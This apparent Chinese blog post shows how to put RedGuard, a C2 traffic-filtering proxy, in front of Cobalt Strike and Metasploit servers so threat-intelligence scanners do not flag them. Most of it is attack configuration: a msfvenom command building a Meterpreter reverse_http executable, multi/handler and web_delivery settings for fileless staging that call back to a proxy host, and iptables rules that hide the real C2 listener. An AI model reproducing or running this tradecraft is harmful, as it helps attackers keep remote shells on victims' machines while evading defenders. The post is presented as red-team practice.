前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >RedGuard初探

RedGuard初探

作者头像
纯情
发布2023-04-27 09:54:43
5040
发布2023-04-27 09:54:43
举报
文章被收录于专栏:纯情博客

简介

前几天发现自己的服务器被fofa和微步情报标记为了cobaltstrike服务器,由于以前使用的版本没有对相应的特征做修改,导致被空间搜索引擎标记,刚好看到风起在朋友圈发布了RedGuard,于是赶紧试试鲜。 RedGuard由风起大佬编写的一款c2前置流量控制工具,可以帮助红队更好的隐藏c2基础设施,且目前还在更新和完善之中,在写这篇文章之后又进行了2次更新,优化和增加了一些新功能。 github地址

使用

第一次运行会在用户目录生成**.RedGuard_CobaltStrike.ini文件,编辑此文件对其进行配置,当然也支持参数进行热配置。

重点关注3个配置 1.PORT_HTTPS 2.PORT_HTTP 3.HostTarget 如上图,当前配置的意思是将Port_http的80端口绑定到本机127.0.0.1的8080端口,当有请求访问服务器的80端口,RedGuard会对请求特征做判断,当请求不符合规则(及host头不是360.net,这个可以随意设置),请求会被重定向到https://360.net,否则请求会被转发到cs的监听端口8080端口。请求会不会被重定向取决于DROP参数,如DORP参数设置为true将直接丢弃请求包。

同理,443端口被绑定到本机127.0.0.1的8443端口,当请求不符合规则时将请求重定向到https://360.net,当host头为360.com时将请求转发到cs的8443监听端口,主要取决于你cs的监听器是http还是https。

更多设置,如过滤上线ip、上线时间、上线省份请参考作者官方文档RedGuard文档 当然,这种场景适合将反代和cs服务器建在同一台机器上,比较节省资源,配合iptables可防止网络空间搜索引擎将你的服务器标记。 CS 启动RedGuard

代码语言:javascript
复制
sudo ./RedGuard_64

cs新建监听,c2端口设置为RedGaurd的反代端口,bind设置为cs的监听端口,注意host header可以随意设置,但一定要和配置文件里的一致。

再配置IPtables,只允许127.0.0.1访问本机的8443端口

代码语言:javascript
复制
iptables -I INPUT -p tcp --dport 8443 -j DROP #丢弃所有访问8443端口的包
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8443 -j ACCEPT #只允许127.0.0.1访问本机的8443端口

这样就可以正常上线了 还有一种就是拿一台单独的服务器做反代服务器,另一台服务器做真正的cs服务器,只需简单修改配置文件即可

这里将192.168.1.8用作反代服务器,192.168.1.7作为真正的cs服务器,HosTtarget填写cs服务器的地址192.168.1.7 新建cs监听,填写相应端口。

在cs服务器配置防火墙,只允许反向代理服务器来访问cs的监听端口

代码语言:javascript
复制
iptables -I INPUT -p tcp --dport 8443 -j DROP 
iptables -I INPUT -p tcp -s 192.168.1.8 --dport 8443 -j ACCEPT 

MSF

最简单的直接生成载荷

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_http  LHOST=10.197.10.131 LPORT=80  HttpHostHeader=360.net -f exe -o test.exe

建立监听和设置参数,这里反代端口为80端口,80端口收到请求且符合规则后将其转发到本地的8080端口

代码语言:javascript
复制
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 8080
 
set OverrideLHOST 10.197.10.131 
set overrideLPORT 80
set overriderequesthost true
set httphostheader 360.net 

run

配置防火墙

代码语言:javascript
复制
iptables -I INPUT -p tcp --dport 8080 -j DROP 
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8080 -j ACCEPT

在能执行命令的情况下,想方便点使用无文件落地的方式

代码语言:javascript
复制
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_http
set lhost 192.168.1.8
set lport 80 #端口设置为反向代理端口
set srvport 8082 #用于下载stage
set httphostheader 360.net
set OverrideLhOST 192.168.1.8
set overrideLpoRT 80
set overriderequesthost true
set DisablePayloadHandler true #关闭监听
run

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_http
set lhost 127.0.0.1
set lport 8080
set httphostheader 360.net
set OverrideLhOST 192.168.1.8
set overrideLpoRT 80
set overriderequesthost true
run

防火墙

代码语言:javascript
复制
iptables -I INPUT -p tcp --dport 8080 -j DROP 
iptables -I INPUT -p tcp -s 127.0.0.1 --dport 8080 -j ACCEPT

成功上线

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-07-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 简介
  • 使用
  • MSF
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档